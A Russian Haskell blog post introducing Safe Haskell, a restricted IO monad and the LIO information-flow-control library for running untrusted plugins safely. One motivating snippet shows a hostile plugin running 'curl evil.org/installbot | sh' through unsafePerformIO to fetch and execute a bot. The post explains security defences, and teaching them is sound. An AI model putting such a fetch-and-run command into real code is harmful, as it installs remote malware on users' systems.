Авторы Темы Разделы О нас Ресурсы
ruHaskell

Ограниченное IO и защищенные системы (введение)

let author   = "Александр Вершилов"
    date     = fromGregorian 2015 feb 15
    category = "Теория"
    tags     = ["пакеты", "безопасность"]

В данном посте пойдет речь про возможности для создания защищенных систем и введение во фреймворк, позволяющий писать такие программы. В дальнейшем, если будет интерес к данным вопросам, планируется углубление в данную тему.

Формулировка проблемы

Под защищенной системой предполагается система, состоящая из одного или более узлов, устойчивая к запуску недоверенного кода, который лишается возможности нарушить инварианты системы.

Где это может применяться? Простым примером может служить веб-сайт, на котором нужно запускать плагины от третьих лиц. В этом случае желательно, чтобы плагины не могли нарушить работу системы, получить привилегированный доступ или получить доступ к данным в приложении, которые не должны быть доступны плагину.

Более сложным примером может служить система с повышенными требованиями к безопасности, где для каждого блока данных существует определенный набор правил. Правила регламентируют кто и какие операции с ними может совершать, и желательно, чтобы весь написанный код автоматически гарантировал сохранность этих инвариантов. Это позволит при анализе кода проверять только сами правила, а не весь исходный код.

Безопасность за счет типов

Рассмотрим простейшие примеры того, как можно добиться безопасности. Поскольку Haskell является безопасным языком и все возможные эффекты выражены в типах функций, то можно предположить, что функции без нежелательных эффектов являются безопасными.

Будем рассматривать первый пример - сайт, на который мы хотим добавить сервис переводов. Пусть плагин предоставляет следующую функцию:

toRussian :: ByteString -> ByteString

Исходя из типов, данному коду можно доверять, поскольку он не содержит эффектов, и в худшем случае текст страницы будет сломан. Какие с ним могут быть проблемы:

  1. Код может быть плохо написан и потреблять много ресурсов (выходит за рамки данной статьи).

  2. Выполнение кода может не завершаться:

    toJerkish :: ByteString -> ByteString
toJerkish xs 
  | 'a' <- B.head xs = toRussian xs    -- KABOOM!
  | otherwise        = saneStuff

    Естественно, это печальное поведение, но, опять же не приводит к нарушению гарантий безопасности и мы его не рассматриваем.

  3. Но возможен и такой случай:

     toJerkish :: ByteString -> ByteString
 toJerkish = unsafePerformIO $ do
     system "curl evil.org/installbot | sh"
     return "ЙА пАиМел тИбЯ"

    Данный код, ествественно, приводит к проблемам в безопасности и его бы хотелось исключить.

Для третьего случая есть решение - использование расширения Safe Haskell.

Safe Haskell

Начиная с ghc версии 7.2 haskell предоставляет расширение Safe Haskell, включающееся опцией -XSafe. Это расширение не позволяет включать в код небезопасные модули, например System.IO.Unsafe, таким образом использование unsafePerformIO и других подобных функций будет невозможно.

В дополнение, расширение позволяет использовать безопасные импорты, т.е.

import safe Evil.Code

В этом случае подключаемый модуль будет проверен на безопасность (т.е. то, что он не использует небезопасные модули).

Однако, возникает вопрос, как же можно использовать модуль, работающий с типом ByteString, если для его реализации используются небезопасные функции?

head :: {- Lazy -} ByteString -> Word8
head Empty       = errorEmptyList "head"
head (Chunk c _) = S.unsafeHead c

unsafeHead :: {- Strict -} ByteString -> Word8
unsafeHead (PS x s l) = assert (l > 0) $
    inlinePerformIO $ withForeignPtr x $ \p -> peekByteOff p s

Рассмотрим, как в Haskell решается эта проблема. Модули, помеченные как безопасные, могут использовать, в свою очередь, только безопасные модули. Существует два типа безопасных модулей:

  • те, безопасность которых доказана компилятором -XSafe;
  • помеченные автором, как безопасные (-XTrustworthy).

Таким образом, такие модули как Data.ByteString могут быть собраны с флагом -XTrustworthy. Обычно для решения таких вопросов все небезопасные функции помещают в отдельный модуль, например Data.ByteString.Unsafe. Таким образом, доказывается, что функции, экспортируемые Data.ByteString, не могут быть использованы небезопасным образом, даже в том случае, когда внутренние модули используют небезопасные функции.

Естественно, существуют механизмы управления доверием автору модуля, при помощи которых можно указать доверять ли флагу -XTrustworthy. Флаг -trust Pkg, -distruct Pkg, -distrust-all-packages.

Использование ограниченного IO

Проблема с чистыми функциями может считаться отчасти решенной, но что, если для работы функции действительно необходимы IO эффекты? Например, сервис переводит реальный язык и должен общаться с сервером словаря?

Решение данной проблемы заключается в использовании ограниченного IO (RIO) небезопасный код реализует функцию ввода-вывода:

googleTranslate :: Language -> L.ByteString -> RIO L.ByteString

Но использует монаду RIO. Таким образом, доверенный модуль реализует функции RIO для доступа к сети, проверяет параметры и отклоняет опасные операции.

{-# LANGUAGE Trustworthy #-}
module RIO (RIO(), runRIO, RIO.readFile) where

-- Notice that symbol UnsafeRIO is not exported from this module!
newtype RIO a = UnsafeRIO (IO a) -- constructor is not exported !
runRIO :: RIO a -> IO a
runRIO (UnsafeRIO io) = io

instance Monad RIO where
    return = UnsafeRIO . return
    m >>= k = UnsafeRIO $ runRIO m >>= runRIO . k

-- Returns True iff access is allowed to file name
pathOK :: FilePath -> IO Bool
pathOK file = {- Implement some policy based on file name -}

readFile :: FilePath -> RIO String
readFile file = UnsafeRIO $ do
  ok <- pathOK file
  if ok then Prelude.readFile file else return ""

Примеры политик для RIO:

  • доступ к файловой системе предоставляется только в песочнице (защита файловой системы)
  • запрет на запуск других программ (поскольку они могут не иметь ограничений RIO)
  • разрешать коннекты только к 80 порту известных серверов (защита от рассылки спама и атак на внешние сервисы)
  • запрет на доступ к устройствам (микрофону, камере, колонкам, …)
  • политики схожие с политиками для Java в браузере

Но все же решение с RIO не достаточно, если мы вспомним все варианты использования, которые мы хотим решить.

  • что если web-сайт содержит приватные данные, например, письма?
  • атакующий может сохранить письма в песочнице (разрешено)
  • когда приходит запрос на перевод специальной строки - вернуть сохраненный email (разрешено)

Таким образом, очевидно, что для того, чтобы полноценно решить проблему безопасности, необходимо следить за тем, какая информация может быть опубликована, а какая нет. Так, например, разрешать отдавать в сеть публичные данные, и запрещать приватные. Для решения этой проблемы существует решение: Децентрализовнный Контроль За потоками информации (Decentralized Information Flow Control / DIFC)

Тегированное IO

Команда из Стенфорда предлагает следующее решение - библиотеку LIO. Корни данного решения уходят в военные приложения и приложения, работающие с секретными данными. И заключается оно в следующем:

  • каждому блоку информации приписывается тег;
  • каждому процессу/потоку приписывается тег;
  • все теги имеют частичный порядок по отношению ⊑ (“может переходить к” / “can flow to”)

Пример: расмотрим процесс vim с меткой \(L_v\), и файл с меткой \(L_f\) ; если файл читается, то система требует, чтобы выполнялось соотношение \(L_f ⊑ L_v\) (файл может переходить к редактору); если файл записывается, то требуется, чтобы выполнялось соотношение \(L_v ⊑ L_f\); если файл и пишется и читается, то \(L_v ⊑ L_f ⊑ L_v\).

Подобные соотношения являются тразитивными, что позволяет гораздо лучше оценивать безопасность. Предположим, у нас есть файл \(L_f\), при этом этот файл нельзя передавать по сети (например, приватный ключ), т.е. есть соотношение \(L_f ⋢ L_n\) . Теперь, пусть процесс \(P\) читает данный файл, таким образом, требуется \(L_f ⊑ L_P\). Затем, данный процесс хочет работать с сетью, что предполагает \(L_P ⊑ L_n\), однако, \(L_f ⊑ L_p ∧  L_p ⊑ L_n ⇒ L_f ⊑ L_n\) - противоречие, т.е. \(L_P ⋢ L_N\). Следовательно, процесс, получивший доступ к подобному файлу, не может общаться с сетью, и наоборот, если процесс общается с сетью, то он не может получить доступ к файлу.

Представим двух пользвателей - \(A\) и \(B\). Публичную информацию обозначим тегом \(L_∅\), приватные данные \(A\) - \(L_A\), приватные данные \(B\) - \(L_B\) соответсвенно. Что произойдёт, если смешать приватные данные \(A\) и \(B\) в одном документе? И \(A\) и \(B\) должны огорчатся, если такой документ будет опубликован, соотвественно требуется, чтобы он был, как минимум, настолько же ограничен, насколько ограничены \(L_A\) и \(L_B\). Для этого используется нижняя граница (или lub или join) \(L_A\) и \(L_B\), которая записывается как \(L_A ⊔ L_B\).

    A ⊔ B
   /     \
 ⊑/       \⊑ 
 /         \
A           B
 \         /
 ⊑\       /⊑ 
   \     /
      ∅

Каждый процесс может обладать набором привилегий, используя привелению \(p\), изменяет требование \(L_F ⊑_p L_{proc}\) на чтение и дополнительно \(L_{proc} ⊑_p L_F\) на запить файла. Операция \(⊑_p\) читается как “с учетом привигений р может переходить к” (``can flow under privileges p’’) и дозволяет больше, чем \(⊑\). Идея этой операции заключется в том, что вы можете управлять уместными привилегиями. 

Пример привилегий: опять рассмотрим пример с двумя пользователями, Очевидно, что должны выполняться условия \(A ⊑_a L_∅\) и \(L_B ⊑_b L_∅\), т.е. пользователи могут создавать публичную или рассекречивать собственную информацию. Пользователи могут частично рассекречивать информацию, т.е.: \(L_{AB} ⊑_a L_B\) и \(L_{AB} ⊑_b L_A\)

При работе с тегированными элементами обычно производится не проверка ограничений, а повышение текущего тега процесса так чтобы могли быть исполнены все действия. Так же можно задавать максимальный уровень доверия (clearance), выше которого доверие процесса не может быть повышено и действия приведут к исключению.

Пример возможных правил

Введем решетку:

             1
           /    \
          /      \
... ->   B_i^j -> B_j^k -> ...
       /     \   /
      A_i     A_j  ...
       \      /
        \    /
           0

С типами \(0\), \(A_i\), \(B_i^j\), \(1\) – где:

  • \(0\) – тег для информации, к которой никто не получал доступ,
  • \(A_i\) – тег для информации, к которой получал доступ только один участник \(i\),
  • \(B_i^j\) – тег для информации, доступной двум участникам (\(i\) и \(j\)),
  • \(1\) – тег для информации, доступной неограниченному количеству участников.

С помощью этой решетки, мы можем ограничить процессу возможность получения данных от разных процессов:

test i s = do
    a1 <- evalLIO (newLIORef (A 1) "M1") (LIOState (A 1) O)
    a2 <- evalLIO (newLIORef (A 2) "M2") (LIOState (A 2) O)
    a3 <- evalLIO (newLIORef (A 3) "M3") (LIOState (A 3) O)
    let state = [("A",a1),("B",a2),("C",a3)]
    runLIO (go (i::Int) state) (LIOState (A 1) s)
  where 
    go 0 x = mailboxRead x "A"
    go 1 x = mailboxRead x "B" >> go 0 x
    go 2 x = mailboxRead x "C" >> go 1 x
 -- запускаем тест, без ограничения (максимальный уровень доверия)
 *Main> test 0 O
 (Just "M1",LIOState {lioLabel = A 1, lioClearance = O})\
 -- программа получала доступ только к своей ячейке - метка не изменяется
 *Main> test 1 O
 (Just "M1",LIOState {lioLabel = B 1 2, lioClearance = O})
 -- программа получала доступ к двум ячейкам - соотвественно, метка изменилась
 *Main> test 2 O
 (Just "M1",LIOState {lioLabel = O, lioClearance = O})
 -- программа получала доступ к трем ячейчас - соотвественно, метка стала 1 (One)

 -- Теперь запустим тесты с огрниченным уровнем доверия
 *Main> test 2 O
 (Just "M1",LIOState {lioLabel = O, lioClearance = O})
 *Main> test 0 (B 1 2)
 (Just "M1",LIOState {lioLabel = A 1, lioClearance = B 1 2})
 *Main> test 1 (B 1 2)
 (Just "M1",LIOState {lioLabel = B 1 2, lioClearance = B 1 2})
 *Main> test 2 (B 1 2)
 (*** Exception: LabelError {lerrContext = ["readLIORef"], lerrFailure = "taint", lerrCurLabel = A 1, lerrCurClearance = B 1 2, lerrPrivs = [], lerrLabels = [A 3]}
 -- получили исключение в связи с попыткой превышения прав.
 *Main> test 1 (B 1 3)
 (*** Exception: LabelError {lerrContext = ["readLIORef"], lerrFailure = "taint", lerrCurLabel = A 1, lerrCurClearance = B 1 3, lerrPrivs = [], lerrLabels = [A 2]}

В дальнейших постах могут быть рассмотрены и более сложные возможности применения библиотеки, такие как:

* использование привилегий;
* более сложные правила для тегов, использующиеся для описания сложных систем;
* полный пример небольшого защищенного сервиса.

Если кому-нибудь интересно, то можно продолжить.

Как решаются подобные проблемы в других системах?

Как мы могли заметить, возможность создания такого фреймворка полагается на мощную систему типов, позволяющую контролировать эффекты, чистоту языка и специальные расширения компилятора.

Подобного эффекта можно добиться в языках, которые дают возможность использовать песочницы и позволяют подключить библиотеки для АОП (аспектно ориентированного программирования). Но такой подход значительно усложняет архитектуру приложения.

В операционных системах так же существуют специльные решения, направленные на решение той же проблемы, например selinux.

В целом же, защищенная система должна включать защиты на всех уровнях, возможная контейнеризация, selinux, безопасность внутри программы. Только в этом случае решение может быть достигнуто. Но подобные библиотеки и возможности языка существенно повышают качество системы.